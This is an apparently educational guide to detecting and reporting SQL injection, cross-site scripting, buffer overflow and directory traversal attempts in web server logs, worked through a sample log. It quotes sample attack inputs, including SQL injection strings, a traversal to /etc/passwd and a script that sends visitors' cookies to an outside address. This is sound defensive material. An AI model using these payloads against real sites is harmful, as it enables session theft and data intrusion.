Detecting App-Attack IoCs in Logs
How to find SQL injection, cross-site scripting, buffer overflow, and directory traversal attempts in web server and application logs, and how to report them.
1What the logs record
Web servers and applications log every request: the time, the source address, the method (such as GET), and the URL, including whatever the user typed into a form. Application attacks have to travel inside those requests, so the user input in the logs is where their indicators of compromise (IoCs) show up.
2The four signatures
| Attack | Look for in user input | Why |
|---|---|---|
| SQL injection | A single or double quote (' "); Boolean conditions like OR 1=1; a double dash -- (a comment in SQL); SQL control words in capitals such as WHERE, IN, FROM | These change or end the application's database query |
| Cross-site scripting (XSS) | Suspicious tags, especially <script>…</script> | The script would run in other users' browsers |
| Buffer overflow | Long strings in the URL, cookie, query string, or total request | Too much data can overflow the memory set aside for it |
| Directory traversal | GET requests whose paths include sequences of ../ | Each ../ climbs one folder up, toward system files |
3Decode before you search
Browsers URL-encode special characters, so logs often show codes instead of symbols: %27 is ', %3C is <, %3D is =, %2F is /, and + is a space. Searching the raw log for <script> would miss %3Cscript%3E. Decode the input first, then look for the signatures.
4Reading a real log
10:01:12 198.51.100.7 GET /search?q=chemistry+notes 10:01:40 203.0.113.45 GET /search?q=x%27+OR+1%3D1-- 10:02:05 203.0.113.45 GET /search?q=x%27+UNION+SELECT+name+FROM+users-- 10:03:17 192.0.2.80 GET /comments?text=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.0.2.80%2F%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E 10:04:02 192.0.2.144 GET /download?file=../../../etc/passwd 10:04:30 198.51.100.7 GET /download?file=syllabus.pdf 10:05:51 203.0.113.200 GET /login?user=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA… (2,612 characters) 10:06:10 198.51.100.22 GET /profile?name=O%27Brien
A short program decoded each request's input and checked it against the four signatures:
| Time | Decoded user input | Finding |
|---|---|---|
| 10:01:12 | q=chemistry notes | nothing found |
| 10:01:40 | q=x' OR 1=1-- | SQL injection: quote; OR 1=1; -- comment |
| 10:02:05 | q=x' UNION SELECT name FROM users-- | SQL injection: quote; -- comment; FROM, SELECT, UNION |
| 10:03:17 | text=<script>document.location='http://192.0.2.80/?c='+document.cookie</script> | XSS: <script> tag |
| 10:04:02 | file=../../../etc/passwd | directory traversal: ../ |
| 10:04:30 | file=syllabus.pdf | nothing found |
| 10:05:51 | user=AAAAAAAAAAAAAAAAAAAAAAAAA… | buffer overflow: URL is 2,612 characters |
| 10:06:10 | name=O'Brien | single indicator only (quote): check context |
5 requests are attacks. The 10:06 request for O'Brien contains a quote, but nothing else from the SQL injection list; it is almost certainly a real surname. One indicator alone calls for a look at context, not an alarm.
Decode user input in the logs, then look for the signatures: quotes, OR 1=1, --, and capitalized SQL words (SQL injection); <script> tags (XSS); unusually long URLs, cookies, query strings, or requests (buffer overflow); and ../ sequences in GET paths (directory traversal).
5Worked examples
The search box
A log line reads GET /search?q=x%27+OR+1%3D1--. Decode it and identify the attack.
- 1
%27is',%3Dis=,+is a space:x' OR 1=1--. - 2A quote closes the query's string,
OR 1=1is always true, and--comments out the rest of the query.
The comment
Decoded, a request to /comments contains <script>document.location='http://192.0.2.80/?c='+document.cookie</script>. What is the attack and what would it do?
- 1A
<script>tag in user input is the XSS signature. - 2If stored and shown to others, it would send each viewer's cookies to 192.0.2.80.
The 2,600-character login
A request to /login?user=AAAA… has a URL 2,600+ characters long; normal requests are under 100. Identify it.
- 1Unusually long data in the URL or query string is the buffer overflow signature.
- 2No real username is thousands of characters long.
Write the finding
Report the 10:04:02 request from the log above.
- 1Quote it:
GET /download?file=../../../etc/passwdfrom 192.0.2.144. - 2Signature: three
../sequences, climbing out of the download folder toward/etc/passwd. - 3Response: check whether the server returned the file, and block the source.
6Common mistakes
%3Cscript%3E will not match <script>. Decode first.
Names like O'Brien contain quotes. Look for several SQL indicators together, or check what the request did.
Script tags target other users' browsers (XSS). Quotes, OR 1=1, and SQL words target the database (SQL injection).
“At 10:01:40, 203.0.113.45 sent GET /search?q=x%27+OR+1%3D1--. Decoded, the input is x' OR 1=1--: a quote, an always-true Boolean condition, and a SQL comment. This indicates a SQL injection attempt against the search page.”
Quote the log entry, decode it, name the signature you found, and name the attack.